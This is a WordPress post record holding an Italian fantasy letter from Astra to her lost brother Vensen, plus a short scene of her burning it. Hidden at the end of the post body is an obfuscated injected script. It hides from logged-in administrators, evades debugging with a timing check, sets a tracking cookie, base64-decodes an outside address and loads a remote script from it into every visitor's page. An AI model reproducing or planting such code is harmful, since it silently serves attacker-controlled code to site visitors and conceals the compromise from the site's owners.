{"id":4032,"date":"2025-06-05T09:55:47","date_gmt":"2025-06-05T07:55:47","guid":{"rendered":"https:\/\/www.terredegliangeli.com\/calamai\/?p=4032"},"modified":"2025-10-21T04:05:54","modified_gmt":"2025-10-21T02:05:54","slug":"corrispondenza-interrotta","status":"publish","type":"post","link":"https:\/\/www.terredegliangeli.com\/calamai\/corrispondenza-interrotta\/","title":{"rendered":"Corrispondenza interrotta"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Vensen,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Non so se queste parole ti raggiungeranno mai. E forse non devono. Forse \u00e8 solo una vigliacca illusione quella di credere che scriverti possa curare qualcosa.<br \/>Ma stanotte ho bisogno di farlo. Perch\u00e9 il silenzio che porto dentro \u00e8 diventato pi\u00f9 pesante del freddo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ho fallito.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La cerca\u2026 quella per cui pap\u00e0 ci ha spinto a fuggire, per cui ci ha affidato la spada \u2014 quel cimelio che passava di mano in mano, generazione dopo generazione \u2014 \u00e8 andata in frantumi.<br \/>Non sono riuscita a trovare il pezzo mancante.<br \/>Non ho decifrato la visione. Neppure con l\u2019aiuto dello Spiantato, neppure con tutto ci\u00f2 che abbiamo visto, affrontato, patito.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E ora mi sento come un guscio vuoto. Ho l&#8217;impressione di aver deluso tutti. Mamma, pap\u00e0, il nonno, te, ma soprattutto ho deluso me stessa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tu, forse sei scappato anche per colpa mia. Per la mia ossessione, per la mia incapacit\u00e0 di proteggerci, di tutelare ci\u00f2 che ci era rimasto: noi. Di capire quando avevi bisogno di una sorella, non di un\u2019erede.<br \/>Non riesco pi\u00f9 a scacciare quell\u2019ultima immagine: il sangue, le urla, la botola che si chiudeva. Tu che mi trascinavi mentre io gridavo. E pap\u00e0, rimasto indietro, a guadagnare tempo col proprio corpo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ho fallito nel rendere onore al loro sacrificio. E a quello di Valerian.<br \/>Lui che rinunci\u00f2 a tutto \u2014 onore, nome, titoli \u2014 per amore. Per costruire qualcosa che durasse.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E io, cosa ho costruito?<br \/>Una sequela di fallimenti, di promesse ora ridotte in cenere. Di tentativi spezzati. Sogni mai compiuti.<br \/>Persino la persona che stimavo di pi\u00f9,, non ha cercato altro a cui appoggiarsi quando il suo mondo \u00e8 crollato. Ha cercato di appendersi a un ramo robusto ma qua non potevamo morire.<br \/><br \/>Grazie anche a lui di aver trovato una famiglia. Non di sangue. Non di nome. Ma vera.<br \/>Qui nello Spiantato la maggior parte dei non nobili di origine non mi giudica per chi ero.<br \/>Camminano accanto a me per chi sono ora.<br \/>Ridiamo insieme. Ci feriamo insieme. Vegliamo insieme nel freddo e nella paura.<br \/>E anche se nessuno lo ha mai detto ad alta voce, credevo che in fondo&#8230; ci stessimo scegliendo ogni giorno.<br \/><br \/>Anche quando l&#8217;Alfiere ci ha liberato dal suo vincolo. Abbiamo scelto di restare.<br \/>Credevo che fosse come diceva Valerian: la famiglia \u00e8 protezione.<br \/><br \/>Ma forse mi sbagliavo. Forse non era altro che il mio cieco desiderio di trovare delle anime affini.<br \/>Forse hanno ragione Habibi e Sig. <br \/>Non siamo una famiglia, siamo solo perfetti sconosciuti che camminano sullo stesso sentiero, costretti a sopportarsi, perch\u00e9 loro una famiglia ce l&#8217;hanno gi\u00e0 e quando sar\u00e0 finito tutto con noi altri probabilmente non vorranno averci niente a che fare.<br \/><br \/>Sento di aver riposto male la mia fiducia ancora una volta.<br \/>Sento di non avere pi\u00f9 niente se non la mia vita che ora darei \u2014 ogni giorno vissuto, ogni battito, ogni respiro \u2014 per salvare i Vichi. Per ridare dignit\u00e0 alla Scacchiera. Cos\u00ec salderei il mio debito con la Morte.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ma il destino, pare, si prende beffe di chi promette troppo tardi.<br \/>E ultimamente sto sognando una voce che continua a ripetermi <em><strong>&#8220;nella vita solo la fine \u00e8 certa\u2026 abbandona il passato, vivi in balia del caso&#8221;<\/strong><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forse non ci rivedremo mai.<br \/>E questo \u2014 <strong>questo<\/strong> \u2014 \u00e8 il mio rimpianto pi\u00f9 grande.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Non averti accanto. Non saperti al sicuro. Non poterti dire, guardandoti negli occhi, che mi dispiace.<br \/>Che ti voglio bene.<br \/>Che sei stato la mia luce, anche nei giorni pi\u00f9 bui. Il mio ricordo pi\u00f9 bello.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">E so che se qualcuno trovasse questa lettera \u2014 se anche solo una spia della Novella Signora la leggesse \u2014 ti condannerebbe. Ed \u00e8 per questo che, quando avr\u00f2 terminato di scriverla, la brucer\u00f2.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Non per vergogna. Ma per proteggerti.<br \/>Cos\u00ec come non sono riuscita a fare allora.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Addio, Vensen.<br \/>Se esiste un tempo oltre questo, se esiste un luogo dove gli errori non ci inseguono\u2026<br \/>\u2026ti prego: aspettami l\u00ec.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Astra<\/em><\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<p class=\"wp-block-paragraph\">La lettera venne arrotolata con mani lente e doloranti. La lanterna accesa gettava un bagliore tremulo sulle dita che stringevano la pergamena.<br \/>Astra la guard\u00f2 per un lungo momento. Enormi solghi umidi a rigarle il volto. La lesse in silenzio, come a voler imprimere ogni parola nel cuore.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Poi la avvicin\u00f2 alla fiamma.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u2019inchiostro sfrigol\u00f2. Il bordo prese fuoco. Le parole si torsero, scomparvero. Il foglio divenne leggere piume nere nell&#8217;aria, poi cenere in pochi battiti.<br \/>E mentre il vento portava via gli ultimi frammenti oscuri, sotto la luce di Elthrai, <em>Astra<\/em> chiuse gli occhi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Vensen, Non so se queste parole ti raggiungeranno mai. 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